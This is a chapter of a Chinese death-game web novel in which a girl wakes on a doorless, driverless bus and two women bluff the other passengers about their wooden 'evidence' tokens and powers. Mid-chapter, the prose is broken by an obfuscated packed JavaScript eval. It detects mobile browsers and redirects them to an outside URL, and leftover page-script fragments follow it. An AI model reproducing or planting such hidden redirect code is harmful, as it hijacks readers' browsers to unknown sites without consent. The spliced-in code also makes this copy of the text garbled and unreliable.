8. 极乐新手村

作品:《母神慈悲[无限]

    陈宝仙醒来时,发现自己正坐在一辆大巴车里。


    车的内部宽敞干净,虽然窗外十分昏暗,分不清是清晨还是傍晚,但车顶的灯却很明亮。


    白到灼人的灯光之下,天蓝色的座椅一排排列在车厢两边,上面坐着几位摇摇晃晃的黑色背影。


    那是其他乘客正在熟睡。


    陈宝仙恍惚极了。


    有生之年,她从没坐过这样宽敞的车。


    借着她的眼睛,30号也看向车内。


    “醒了?”


    有人低声在她身边说话。陈宝仙转过头,看到的是一个皮肤很白的姐姐,她单手支着脑袋,神情懒洋洋的,看向自己的眼睛像玻璃珠子一样透亮。


    陈宝仙啊了一声,蓬松的刘海遮住大半张脸,没有回答。


    那姐姐笑了声:“完了,看来是个社恐。”


    旁边的声音叹道:“行了换我来吧…你快滚。”


    不过几秒,另一位姐姐换到了陈宝仙的身边。


    陈宝仙垂着头,在有限的视角里,她看到了一件宝蓝色的衬衣。


    “妹妹你好啊。”宝蓝色的姐姐说:“我们也是刚醒来的,不知道怎么就上了这辆车…你知道这辆车是去哪儿的吗?”


    这个姐姐听上去也是好人。陈宝仙想。


    她们的普通话都说得好好啊,省会城市来的吗?


    可是陈宝仙也不知道自己怎么会在车上。


    “我不晓得。”


    她僵硬地低下头去,怕给不出答案会被人嫌弃。


    “噢,没事没事。”


    那姐姐伸出一只手来,指甲上亮晶晶的:“那我们先认识一下吧,我叫余灵,她是我的发小,阎丑。”


    陈宝仙一愣,不小心就抬起了头。


    “就是你想的那个丑字。”


    肤色苍白的姐姐坐在一旁,撑着脑袋微微笑道:“丑到阎王都害怕见我,不敢把我收进阴曹地府的意思。”


    她在空中写了那个字,然后问:“你呢,叫什么?”


    “…陈宝仙。”


    记忆的主人说。


    与此同时,30号感觉自己的嘴巴也动了起来。


    用别人的身体说出别人的名字,是一种非常鸡肋的体验。


    好在人的回忆还有第三视角的版本,30号努力让自己从过于同步的感受中抽离出来,飘到半空中,以旁观者的视角观看起这段记忆。


    *


    “早上好,欢迎各位犯罪者来到地牢。”


    “这都是你们应得的。”


    “游戏已经开始,请及时检查随身物品,确认您的罪证。”


    “本轮名称:极乐新手村。”


    广播是在其他乘客醒后才响起的。


    整个车厢共有十人,算上陈宝仙也才三个女生。她被余灵拉着坐到后排,眼睁睁看着几个男人在听完广播后情绪激动,因为几句口角就撕扯起来。


    也是这个时候,陈宝仙注意到,这辆大巴非常古怪。


    首先,这辆车没有门。


    无论两侧的车身、顶头的车顶还是脚下的车底,全都是完全封闭的。车窗外被贴上了磨砂贴纸,入眼一片模糊,连玻璃也都被焊死在窗框上,根本无法打开。


    那乘客们是怎么上车的?


    其次,车头的位置空空荡荡,既没有驾驶座也没有司机,只有一个奇怪的表盘用铁柱立在中央,无论众人怎么敲打都没有变化。


    这比没门还要吓人。


    因为从陈宝仙醒来开始,这辆车就一直在向前行驶,速度还特别快。


    “操!老子真是撞了鬼了!”


    “没有刹车我们怎么让车停下来啊,就这么撞死吗!”


    “不行,这玻璃砸不开,什么都看不到。”


    混乱的人群吵嚷,余灵坐在旁边拍了拍陈宝仙,压低声音说:“找找你身上有没有多出什么东西。”


    陈宝仙这才回过神来。


    她甩甩头,逼迫自己把注意力从男人们的对话里移开。


    这很奇怪,明明车内一片嘈杂,她却能把每个人说的话都听的一清二楚,连车内的气味都格外清晰,烟味也好,酒味也好……


    她抽抽鼻子,从口袋里摸到一块温润的木牌,正是30号在瘦猴身上看到的那种。


    木牌轻巧,在正面遒劲有力地刻着两个字。


    ——黑风。


    这字迹像会杀人。


    只是一眼,陈宝仙的瞳孔猛地缩小,体内立即涌出一阵尖锐的慌乱。她的喉咙仿佛被人紧紧掐住,拿着木牌的手指因惊慌而胡乱发抖,嘴唇也不自觉地开始颤动。


    被发现了!


    难怪广播管这个东西叫罪证,难怪它说她们活该!


    她犯下的错误被发现了!


    原来如此,这辆车是押送犯人的囚车!她被抓住了!她会被关起来被殴打被拆解被杀掉…!


    突然,一双冰凉的手掌盖在了她的手上。


    “嘘……没事的。”


    阎丑坐在她的另一侧,从袖子里滑出胡桃色的木牌:“你看,我也有一枚。”


    那木牌和陈宝仙的一模一样,只是文字不同,写着:司南。


    虽然不知道司南是什么意思,陈宝仙却被吸引了过去。


    她颤声道:“姐姐你也…犯了错吗?”


    “是的。”


    阎丑笑了笑,偏头示意她朝车内看去:“我想,这里所有人都犯过错。”


    她的轻松仿佛是一种与生俱来的天赋,听着她悠长的语调,陈宝仙的呼吸竟也放慢下来。


    阎丑声温如玉:“可以告诉我黑风是什么意思吗?”


    陈宝仙:“是…我以前养的小狗。”


    “好酷的名字。”阎丑又说:“我看到你的耳朵一直在动,是不是能听到什么?”


    陈宝仙一愣,连忙把自己身体的变化告诉了她。


    以狗命名的罪证,和上车之后被强化的听觉、嗅觉。


    手中几条线索串在一起,阎丑和余灵对视一眼,似乎已经有了决断。


    与此同时,车上的人也开始留意到最后一排的三个女人。


    极端的高压环境下,女人与小孩总是最方便泄愤的对象。


    有男人嗤笑一声,不怀好意地朝着她们走来。


    “…宝仙,”


    座椅上,余灵轻轻握住了陈宝仙的手:“接下来,我和阎丑要撒一个小小的谎,但这是为了保护我们三个,你可以帮忙保密吗?”


    陈宝仙不明所以,呆呆地点了头。


    她在这里不认识任何人,只有姐姐们好好和她说话。她是农村来的土孩子,没读过书,空有一身力气却不会动脑子。


    如果只是闭嘴就能帮上姐姐们的忙,她很愿意。


    阎丑弯了弯眼:“谢了。”


    隔着陈宝仙的视角,30号感觉自己已经闻到了阴谋的味道。


    只见阎丑眨眨眼睛,猫一般的身子往下滑了两下,浑身不长骨头似的窝到了座椅之中,懒洋洋的。


    然后,她猛地一脚踹在了前方的靠背上。


    “砰!”


    座椅发出巨大悲鸣,所有人吓了一跳,齐身看向最后一排。


    困倦的女人掀起眼皮,琥珀色的眼珠幽暗地扫过每一位犯罪者的面孔。


    “别吵了。”她说。


    “我是第二次参加游戏,不想死的话,都听我的。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14754816|157669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>飘在车顶的30号:???


    你们管这叫一个小小的谎?


    这分明是弥天大谎!


    *


    最先动起来的,是一个体型肥大的男人。


    他已经默默朝着女生这边盯了很久,满脸横肉,鼻子扁平,粗厚的嘴唇还微微外翻,脖子被松垮的肥肉盖住,整个脑袋像直接从肩膀上长出来的,一动起来就是层层的肉浪。


    过于恶心的形象总能给人留下深刻印象,30号记得很清楚,抵达村子的游客里没有这号人物。


    “哈哈…嘿……”


    那男人辛苦地朝后排看来,浑身淌着油水,好像刚刚做完什么运动:“你说你是…第二次?真的吗?”


    “对、对啊!一个小娘们儿说的什么屁话,那你给我解释下游戏是什么意思?我们会怎么样!”


    “他们是群什么玩意儿老子不知道,但老子一个大好人凭什么被抓过来!”


    “罪证又是什么东西?”


    有了牵头羊,质疑如潮水将车内淹没,几个冲动的男人骂着脏话想要动手,又被更年长的男人拉住。


    车里再次混乱一片,刚才那几秒的寂静像从未存在一般。


    “问这些有用吗,”


    阎丑恹恹道:“能让车停下来?”


    一句话戳中了问题的核心,众人都是一顿。


    只见那坐在最后一排的女人扶着椅背站了起来,单薄的骨架堪堪支撑着她的身体,面色苍白却语气强硬:“不管我是谁,只要这辆车不停,我和你们一样随时可能死在这里。”


    “时间紧迫,我只能做最简单的讲解。”


    “现在每个人的身上都有一枚木牌,那是你们在游戏之外犯罪的证据,也是你们在游戏里的特殊能力。比如那边那位同学……”


    她指向前排一个穿着校服的男生。


    “没感觉吗?你的右手把椅背捏碎了。”


    那男生只有十五六岁的模样,和陈宝仙的年纪差不多,看起来文文静静的,体型顶多算作普通。


    听到这话,他垂下眼睛,看向自己放在椅背上的右手。


    他迟疑地将手松开。


    只一瞬间,那圆弧形的椅背立刻塌陷一角,手掌大小的铁架碎片像断裂的头颅往下坠去,被天蓝色的椅套兜住,勘勘挂在椅上。


    “我…靠???”


    “真碎了啊!”


    众人的瞳孔骤然放大,那男生自己也张大了嘴,久久忘记合上。


    “你的罪证叫做千斤,所以你得到了握力。其他人有空吵架的话,也最好看看自己的木牌上写了什么,感受一下身体的变化,就知道我是不是在说谎了。”阎丑说。


    旁边的人抓住男生的胳膊,激动的唾沫几乎飞到对方脸上:“妈呀!她怎么知道你的牌子叫什么!”


    “你…你不要碰我!”男生连忙挣脱出来。


    “因为我也有能力。”


    阎丑听到了他们的话,一边说着,一边当着所有人的面将手中的物件露了出来:“我的罪证,叫做司南。”


    “司南,你们如果上过学的话,应该在历史课上学到过,它是古代指南针的前身,能够指明前进的方向。”


    “我的能力是,预知。”


    “我将带你们所有人离开这辆车。”


    30号听得目瞪口呆。


    高大的汽车在飞驰中摇摇晃晃,她浮上车顶向下看去,虽然不知道阎丑在计划什么,但显然,她已经成功了一半。


    也许很冒险,也许很荒谬,但在这个所有人都极度不安的时刻,阎丑平静而冰冷的保证如同海洋上骤然亮起的灯塔。


    靠着虚张声势,她站到了十位犯罪者的中心。